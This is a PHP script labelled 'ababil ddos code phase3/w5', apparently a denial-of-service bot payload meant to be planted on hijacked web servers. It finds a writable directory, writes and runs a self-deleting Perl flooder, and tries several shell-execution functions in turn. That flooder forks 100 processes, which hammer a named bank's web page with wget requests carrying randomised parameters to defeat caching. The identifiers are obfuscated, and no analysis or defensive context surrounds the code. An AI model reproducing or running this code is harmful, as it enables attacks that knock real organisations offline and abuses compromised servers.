ababil ddos code phase3/w5

<?php
function randomvar(){
        $a=chr(rand(97,122));
        $b=rtrim(base64_encode(rand(100,10000)),'=');
        return $a.$b;
}
$url = "http://www.bbt.com/bbtdotcom/financial-education/home_and_residence/accumulate_down_payment.page";
$rand = md5(microtime().rand(0,500));
if(preg_match("/\?/",$url))
        $url .= "&".randomvar()."=".substr($rand,0,rand(4,10));
else
        $url .= "?".randomvar()."=".substr($rand,0,rand(4,10));
if(!function_exists('scandir'))
  {
    function scandir($a,$b=false,$c=true)
      {
        $d=array();
        if($e=opendir($a))
          {
            while(false!==($f=readdir($e)))
              {
                if(($f!="."&&$f!="..")||$c==true)
                  {
                    if($b==false)
                      if(is_dir($f))
                        continue;
                    array_push($d,basename($f));
                  }
              }
            closedir($e);
          }
        return $d;
      }
  }

function on_exit()
  {
    echo "###Assassin###\n";
    echo "\nuau-repeat";
  }

if(function_exists('register_shutdown_function'))
   register_shutdown_function("on_exit");

fwrite(fopen($h=tgya8siudj().'/'.md5(microtime()),'w'),
"unlink '$h';
$time=time();
for($i = 0;$i < 100;$i++)
  {
    if(fork())
      {
      }
    else
      {
        $j=0;while(time()-$time<120)
          {
            $j++;
            if($j % 100 == 0)
              {
                sleep 1;
              }
            system("wget -U 'Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/20121223 Ubuntu/9.25 (jaunty) Firefox/3.8' -t 45 --delete-after --no-check-certificate '$url' 2>&1 &\");
          }
        last;
      }
    }"
  ); # fwrite Ends

iyiuo("perl $h");
echo "###Assassin###";
echo "\nuau-repeat";

function iyiuo($r)
  {
     $s="";
     if(!empty($r))
       {
                if(function_exists('exec'))
                  {
                        @exec($r,$s);
                        $s=join("\n",$s);
                  }
                elseif(function_exists('shell_exec'))
                        $s=@shell_exec($r);
                elseif(function_exists('system'))
                  {
                        @ob_start();
                        @system($r);
                        $s=@ob_get_contents();
                        @ob_end_clean();
                  }
               elseif(function_exists('passthru'))
                 {
                        @ob_start();
                        @passthru($r);
                        $s=@ob_get_contents();
                        @ob_end_clean();
                  }
               elseif(function_exists('popen') and @is_resource($t=@popen($r,"r")))
                 {
                        $s="";
                        while(!@feof($t))
                                $s.=@fread($t,1024);
                        @pclose($t);
                 }
               elseif(function_exists('proc_open'))
                 {
                        $u=proc_open($r,array(array("pipe","r"),array("pipe","w"),array("pipe","w")),$v);
                        $s=stream_get_contents($v[1]);
                        fclose($v[0]);
                        fclose($v[1]);
                        fclose($v[2]);
                        proc_close($u);
                 }
       }
   return $s;
  }

function gyhuijoakosdoj()
  {
    $j="";
    if(!isset($_SERVER["DOCUMENT_ROOT"]))
      $_SERVER["DOCUMENT_ROOT"]=substr($_SERVER["SCRIPT_FILENAME"],0,-strlen($_SERVER["SCRIPT_NAME"]));
      $k[]=$_SERVER["DOCUMENT_ROOT"];
      while($k)
        {
          $l=array_pop($k);
          if($m=scandir($l))
            {
              $n=0;
              while(isset($m[$n]))
                {
                  if($m[$n]!=="."&&$m[$n]!=="..")
                    {
                      $o="{$l}/{$m[$n]}";
                      if(is_dir($o))
                        {
                          $k[]=$o;
                          if(@is_writable($o))
                            {
                              return $o;
                            }
                        }
                    }
                  $n++;
                }
            }
        }
      return false;
  }

function tgya8siudj()
  {
    if(@is_writable('/tmp'))
      return '/tmp';
    elseif(@is_writable(preg_replace('/[^\/]*$/','',$_SERVER['SCRIPT_FILENAME'])))
      return preg_replace('/[^\/]*$/','',$_SERVER['SCRIPT_FILENAME']);
    elseif(!function_exists("sys_gt_temp_dir"))
      {
        if(!empty($_ENV["TMP"])and@is_writable($_ENV["TMP"]))
          return realpath($_ENV["TMP"]);
        elseif(!empty($_ENV["TMPDIR"])and@is_writable($_ENV["TMPDIR"]))
          return realpath($_ENV["TMPDIR"]);
        elseif(!empty($_ENV["TEMP"])and@is_writable($_ENV["TEMP"]))
          return realpath($_ENV["TEMP"]);
        else
          {
            $a=gyhuijoakosdoj();
            if($a==!false)
              return $a;
            $p=tempnam(md5(uniqid(rand(),TRUE)),"");
            if($p)
              {
                $q=realpath(dirname($p));
                @unlink($p);
                return $q;
              }
            else
               return false;
          }
      }
    else
       return sys_get_temp_dir();
  }
exit;